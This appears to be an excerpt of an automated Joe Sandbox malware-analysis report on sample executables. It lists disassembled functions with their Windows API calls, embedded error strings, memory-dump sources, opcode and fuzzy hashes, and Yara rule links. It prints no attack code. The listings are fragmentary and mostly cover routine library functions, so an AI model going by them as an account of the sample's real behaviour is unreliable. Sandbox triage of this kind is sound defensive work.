
Uniqueness Score: -1.00%

Function 00007FF7FA703BC0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,00007FF7FA7036B9), ref: 00007FF7FA703BF1

Part of subcall function 00007FF7FA702620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7FA707774,?,?,?,?,?,?,?,?,?,?,?,00007FF7FA70101D), ref: 00007FF7FA702654
Part of subcall function 00007FF7FA702620: MessageBoxW.USER32 ref: 00007FF7FA702730

Strings

Failed to get executable path., xrefs: 00007FF7FA703BFB
GetModuleFileNameW, xrefs: 00007FF7FA703C02
Failed to convert executable path to UTF-8., xrefs: 00007FF7FA703C2A

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ErrorFileLastMessageModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2581892565-1977442011
Opcode ID: 1e1fb772b1588bb2ef8aa65086850d6655ce62306cfd8bfdc61953077b8dd8c7
Instruction ID: 28e895608d67675abe095929e116782bdc7001f67d85f471ba8c45c12ea2f44b
Opcode Fuzzy Hash: 1e1fb772b1588bb2ef8aa65086850d6655ce62306cfd8bfdc61953077b8dd8c7
Instruction Fuzzy Hash: 47017122F2868280FB20BF20DC16BB69291AF5C784FC04475D96D866C6EF5CE14596B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71BAA0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7FA71BB1F
WriteFile.KERNEL32 ref: 00007FF7FA71BDE7
WriteFile.KERNEL32 ref: 00007FF7FA71BE2D
GetLastError.KERNEL32 ref: 00007FF7FA71BEE3

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 1e365f9b30df03f18385238fa5722fca72bc799989c9a48dcea0a3fe118199c6
Instruction ID: 3ff26c54fcf0d7d826e144909b2d6205b17ee065a5b2b34867025660c4f6d65a
Opcode Fuzzy Hash: 1e365f9b30df03f18385238fa5722fca72bc799989c9a48dcea0a3fe118199c6
Instruction Fuzzy Hash: 07D1E432B18A8089F710DF75D440AAC77A1FB487A8F804175CE6E97BD9DE38D006C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA701F70 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7FA701FA4
SetWindowLongPtrW.USER32 ref: 00007FF7FA701FC6
GetWindowLongPtrW.USER32 ref: 00007FF7FA701FF0
InvalidateRect.USER32 ref: 00007FF7FA702010

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 162ef6909b0da24e61350fefbcaa0130b5f771c4d53ef42d88aea1c24daf7f6c
Instruction ID: 6dd93c768ea4f170fd378217482e34e45a6f659ef64c31b6ad1407778ef2b9d8
Opcode Fuzzy Hash: 162ef6909b0da24e61350fefbcaa0130b5f771c4d53ef42d88aea1c24daf7f6c
Instruction Fuzzy Hash: D511EC21E1814241F750AF69E944AB99296EF8D780FC4D070EA5907BCEDF3CE4C18570

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA70B5B0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7FA70B5DC
GetCurrentThreadId.KERNEL32 ref: 00007FF7FA70B5EA
GetCurrentProcessId.KERNEL32 ref: 00007FF7FA70B5F6
QueryPerformanceCounter.KERNEL32 ref: 00007FF7FA70B606

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 6f2ab88599309ed85d1430460dcf5b5c4b0e5279fe268d41b3c0937ed12eb80b
Instruction ID: 452ac295f1b3506e44dfe8cb36d84acfe352535bd0426493ce00c6142a5a4f66
Opcode Fuzzy Hash: 6f2ab88599309ed85d1430460dcf5b5c4b0e5279fe268d41b3c0937ed12eb80b
Instruction Fuzzy Hash: 29111F26B18F0289FB009F60E8546B873A4F75D758F440D31DA7D467A4DF78D19583A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA724D6C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7FA7208D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA720903

_get_daylight.LIBCMT ref: 00007FF7FA724E84
_get_daylight.LIBCMT ref: 00007FF7FA724E95

Strings

?, xrefs: 00007FF7FA724E15

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 52680a59223a085ee97f839467cc497833a0271fa4472f3ef08586064223ff36
Instruction ID: 0c0c47393ba47ca8182aa9d2c1539038dc7e04c3c9cbb53f4354fffed28b41ca
Opcode Fuzzy Hash: 52680a59223a085ee97f839467cc497833a0271fa4472f3ef08586064223ff36
Instruction Fuzzy Hash: ED410712B0828245FB64AF26D401B7AD6D0EB88BA4F944275EF7C07AD5DF3CD441CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA717E9C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA717ECE

Part of subcall function 00007FF7FA719E48: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF7FA721E72,?,?,?,00007FF7FA721EAF,?,?,00000000,00007FF7FA722375,?,?,?,00007FF7FA7222A7), ref: 00007FF7FA719E5E
Part of subcall function 00007FF7FA719E48: GetLastError.KERNEL32(?,?,?,00007FF7FA721E72,?,?,?,00007FF7FA721EAF,?,?,00000000,00007FF7FA722375,?,?,?,00007FF7FA7222A7), ref: 00007FF7FA719E68

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7FA70B135), ref: 00007FF7FA717EEC

Strings

C:\Users\user\AppData\Local\Temp\7017.exe, xrefs: 00007FF7FA717EDA

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ErrorFileLanguagesLastModuleNamePreferredRestoreThread_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\7017.exe
API String ID: 2553983749-2428066933
Opcode ID: 20e0fa1cddfcb9b50fa612d7809b1235543b267f8bf6d467ddf7fa8b8e985724
Instruction ID: 612cb9c2d9759eaf40681f13e54779d9f0ed086772d5650dea776ce0f2c96496
Opcode Fuzzy Hash: 20e0fa1cddfcb9b50fa612d7809b1235543b267f8bf6d467ddf7fa8b8e985724
Instruction Fuzzy Hash: 27416136A08B0286F715AF21D4408B9A7E4EB487A4B954075EA6E43BC6DF3CE446C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71C138 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7FA71C24F
GetLastError.KERNEL32 ref: 00007FF7FA71C271

Strings

U, xrefs: 00007FF7FA71C1FB

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 7853f05ac379f521114fefc1a42187cdb8ba925dbe71da0877b6f38df8d0512d
Instruction ID: 66b1e3ce4d6c49bb06efbefc7de11be117e82866d3bc9327cae309f8e0ca65d3
Opcode Fuzzy Hash: 7853f05ac379f521114fefc1a42187cdb8ba925dbe71da0877b6f38df8d0512d
Instruction Fuzzy Hash: 9441C762728B4186EB20EFA5E4447A9B7A1FB5C794F904031EE5D87798DF3CD501C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71E538 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF7FA71E578
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7FA71E5CA

Strings

:, xrefs: 00007FF7FA71E58E

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: ebc2d9400f707b879120a13d17909eb06f58e35d98b036ce0fe9092412fea99d
Instruction ID: e29ddb431dfb5efed252abd4fb7d2f482a564b8119d9dfd2b9806e52657f0f5f
Opcode Fuzzy Hash: ebc2d9400f707b879120a13d17909eb06f58e35d98b036ce0fe9092412fea99d
Instruction Fuzzy Hash: 6121B172A0868181FB20AF15D44467DA3E2FB88B48FC54075D6AD436C5DF7CE9858BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA702770 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7FA707A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7FA7026FB), ref: 00007FF7FA707A9A

MessageBoxW.USER32 ref: 00007FF7FA702845
MessageBoxA.USER32 ref: 00007FF7FA702861

Strings

Fatal error detected, xrefs: 00007FF7FA70281B, 00007FF7FA702853

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Fatal error detected
API String ID: 1878133881-4025702859
Opcode ID: 467762ab5f403c00d0413d4f15cd763011442619e8d5336c18fe6ceaac1fee72
Instruction ID: fb64bfd52d93b8e8086122906400f7dadf017b1a4498c630950cf3a50d481c4b
Opcode Fuzzy Hash: 467762ab5f403c00d0413d4f15cd763011442619e8d5336c18fe6ceaac1fee72
Instruction Fuzzy Hash: 3921967262868191F720EF14E850AEAE364FF88784FC05075E65D47AD5DF3CD245CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA702890 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7FA707A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7FA7026FB), ref: 00007FF7FA707A9A

MessageBoxW.USER32 ref: 00007FF7FA702965
MessageBoxA.USER32 ref: 00007FF7FA702981

Strings

Error detected, xrefs: 00007FF7FA70293B, 00007FF7FA702973

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error detected
API String ID: 1878133881-3513342764
Opcode ID: 3a752796a53e4bc79ccde23300fb76c48695a964a89870303d0a97fe25c8ba30
Instruction ID: 49e459889086e0d285dc3ea81b73b312476ed2db8255216ba9073a78fc64e07b
Opcode Fuzzy Hash: 3a752796a53e4bc79ccde23300fb76c48695a964a89870303d0a97fe25c8ba30
Instruction Fuzzy Hash: 8721657262868291F720AF10E851ADAE3A4FF88784FC05175A69D47A95DF3CD305CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA70EFE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF7FA70F024
RaiseException.KERNEL32 ref: 00007FF7FA70F06A

Strings

csm, xrefs: 00007FF7FA70F057

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0a7d407d7729a8694e7779ca2a1de00754ab8488b643d7346c0eaced0571dbb1
Instruction ID: da4685aeb252ced069f780b6926b60a6de188f4bb8cdc6542a549deb68860a7b
Opcode Fuzzy Hash: 0a7d407d7729a8694e7779ca2a1de00754ab8488b643d7346c0eaced0571dbb1
Instruction Fuzzy Hash: 75113D32618B8182FB119F15F840669B7E4FB88B94F588270DE9C077A4DF3DD9518B60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71F03C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA71F06C
GetDriveTypeW.KERNEL32 ref: 00007FF7FA71F0AC

Strings

:, xrefs: 00007FF7FA71F095

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 088d6e29a3b0fed2a997de7a9fe2f09f1c5d5ef028721ffa5e057cac36b0a100
Instruction ID: fdfa86569c44bae5574b3596b9a9993f71f21082f45dc6513f7618485a5074d6
Opcode Fuzzy Hash: 088d6e29a3b0fed2a997de7a9fe2f09f1c5d5ef028721ffa5e057cac36b0a100
Instruction Fuzzy Hash: 9C01F761A1C24385FB20BF609452A7EA3E0EF4C714FC00176D9AD462D1DF3CD944CA74

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 7B24.exePID: 2108, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	13.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	91
Total number of Limit Nodes:	9

Executed Functions

Function 07AB0040 Relevance: 2.5, APIs: 1, Instructions: 1039
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.2410504721.0000000007AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ab0000_7B24.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bb9801d0da4e300b6b5e74981df00ba01c78bb38483e8a4710f22ff73bcb9cc
Instruction ID: c160c6030b3ec5142c9aeff0b4796b279c1781a225fdc7f4d8c28995989302ab
